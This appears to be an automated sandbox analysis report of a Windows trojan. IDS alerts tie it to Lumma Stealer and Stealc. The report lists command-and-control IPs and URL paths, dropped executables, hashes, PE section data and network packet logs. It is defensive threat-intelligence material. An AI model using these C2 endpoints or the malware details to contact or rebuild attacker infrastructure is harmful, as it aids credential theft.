Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0OkLsJL2Bn.exe renamed because original name is a hash value
Original Sample Name:	6fb1b9f7e9401b07ac16a04a4a1629f5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0OkLsJL2Bn.exe, PID 7688 because there are no executed function
Execution Graph export aborted for target 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, PID 6008 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:15:23	API Interceptor	23x Sleep call for process: 0OkLsJL2Bn.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.150.173	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	063837646WAYBILLMAR24.exe	Get hash	malicious	RedLine	Browse	artemis-rat.comartemis-rat.com:443
	SecuriteInfo.com.Trojan.DownLoaderNET.943.16578.26938.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	DHL- Shipping invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
185.215.113.206	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cuddlyready.xyz	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
WHOLESALECONNECTIONSNL	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	spoolsv.COM.exe	Get hash	malicious	DBatLoader	Browse	172.67.150.173

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe

Download File

Process:	C:\Users\user\Desktop\0OkLsJL2Bn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.49495175315163
Encrypted:	false
SSDEEP:	49152:sClAvSx/8MLHGbScHSJtB9YfkahghnWxS30m:sClaSx/8Mb8SQpk0gv0m
MD5:	880F67C30D6C2335273B27DF0004F500
SHA1:	D340D73B98A457D26180D69C28486F4D0CB98432
SHA-256:	3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
SHA-512:	346C038AA380B6467417D01D9FAE63BB55424886C85AC42CF98E2C9FE851C55C31BC4B46096CC793233409366C9752325C20C8FF5150EAEB8184B54EC7878CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: 0HdDuWzp54.exe, Detection: malicious, Browse Filename: NE4jxHLxXJ.exe, Detection: malicious, Browse Filename: U8mbM8r793.exe, Detection: malicious, Browse Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......(-...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wwqufnsk.....$.....\|..............@...dutjqjqn......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Download File

Process:	C:\Users\user\Desktop\0OkLsJL2Bn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: 0HdDuWzp54.exe, Detection: malicious, Browse Filename: NE4jxHLxXJ.exe, Detection: malicious, Browse Filename: U8mbM8r793.exe, Detection: malicious, Browse Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse Filename: 20yLTIU4mS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9481467308077764
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0OkLsJL2Bn.exe
File size:	1'817'600 bytes
MD5:	6fb1b9f7e9401b07ac16a04a4a1629f5
SHA1:	e89c3002939e76addeb6c22aa4bc0e05ef4acc23
SHA256:	2ed6dad58364e299b0265f758d7142e44fe2c5597416e8d685b23b9c55883158
SHA512:	61ed4e9d6a9eacbaf8ee06f61d7066fe69b9cbccd88fb054e2bc46b7d04c8a9b5a5fddd8c1d16e13715a25def000d2346348677a2e2194d246422dc1518f6047
SSDEEP:	49152:N7N+49aLCpfAXzb05u6ddVQ+Rt3JMt6GwyHd+Xyh0iG:NX9aQAmdVQ+/W6FyIyCb
TLSH:	6D8533AB15332EFCE91A42FDACF5905133653BC1FA2CA2201D90F5C5842ADAD75BD9E0
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................G...........@...........................H...........@.................................T0..h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x87d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6E344CC2FAh
setp byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	a405d60f5e6fc8c878596978fdd5b285	False	0.9973980629280822	data	7.981592581298316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x294000	0x200	fe57b87941b86a62b393440c0eecef17	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wdzzxios	0x2e8000	0x194000	0x193800	ec87cf85530f4efb30495eb55014176d	False	0.9947517328841388	data	7.954112209460299	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qhecqgxx	0x47c000	0x1000	0x400	e855c16e4dd6f6e5b3c643a134f50ffb	False	0.80859375	data	6.212435485027744	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x47d000	0x3000	0x2200	7870f488c3555dc9820ca505357c0cf2	False	0.06640625	DOS executable (COM)	0.7182265651921874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:15:24.188417+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49707	172.67.150.173	443	TCP
2024-12-23T08:15:24.973139+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49707	172.67.150.173	443	TCP
2024-12-23T08:15:24.973139+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49707	172.67.150.173	443	TCP
2024-12-23T08:15:26.295833+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49713	172.67.150.173	443	TCP
2024-12-23T08:15:27.067836+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49713	172.67.150.173	443	TCP
2024-12-23T08:15:27.067836+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49713	172.67.150.173	443	TCP
2024-12-23T08:15:28.701591+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49719	172.67.150.173	443	TCP
2024-12-23T08:15:29.554777+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	49719	172.67.150.173	443	TCP
2024-12-23T08:15:30.917439+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49725	172.67.150.173	443	TCP
2024-12-23T08:15:33.268196+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49731	172.67.150.173	443	TCP
2024-12-23T08:15:36.048380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49739	172.67.150.173	443	TCP
2024-12-23T08:15:38.507340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49748	172.67.150.173	443	TCP
2024-12-23T08:15:38.513192+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	49748	172.67.150.173	443	TCP
2024-12-23T08:15:42.266746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49757	172.67.150.173	443	TCP
2024-12-23T08:15:43.030786+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49757	172.67.150.173	443	TCP
2024-12-23T08:15:44.492996+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	49763	185.215.113.16	80	TCP
2024-12-23T08:16:00.463630+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49796	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:15:22.956274033 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:22.956316948 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:22.956430912 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:22.957853079 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:22.957885027 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.188303947 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.188416958 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.191035986 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.191041946 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.191571951 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.236943960 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.236943960 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.237201929 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.973228931 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.973536015 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.973623037 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.986131907 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.986131907 CET	49707	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:24.986164093 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:24.986175060 CET	443	49707	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:25.076806068 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:25.076853037 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:25.076935053 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:25.081196070 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:25.081209898 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:26.295531988 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:26.295833111 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:26.296994925 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:26.297000885 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:26.297419071 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:26.298626900 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:26.298626900 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:26.298710108 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.067859888 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.067926884 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.067970037 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.067971945 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:27.067984104 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.068032980 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:27.068039894 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.075925112 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.075965881 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.075999022 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:27.076010942 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.076056004 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:27.085771084 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.092706919 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.092839956 CET	49713	443	192.168.2.10	172.67.150.173
Dec 23, 2024 08:15:27.092845917 CET	443	49713	172.67.150.173	192.168.2.10
Dec 23, 2024 08:15:27.147407055 CET	49713	443	192.168.2.10	172.67.150.173
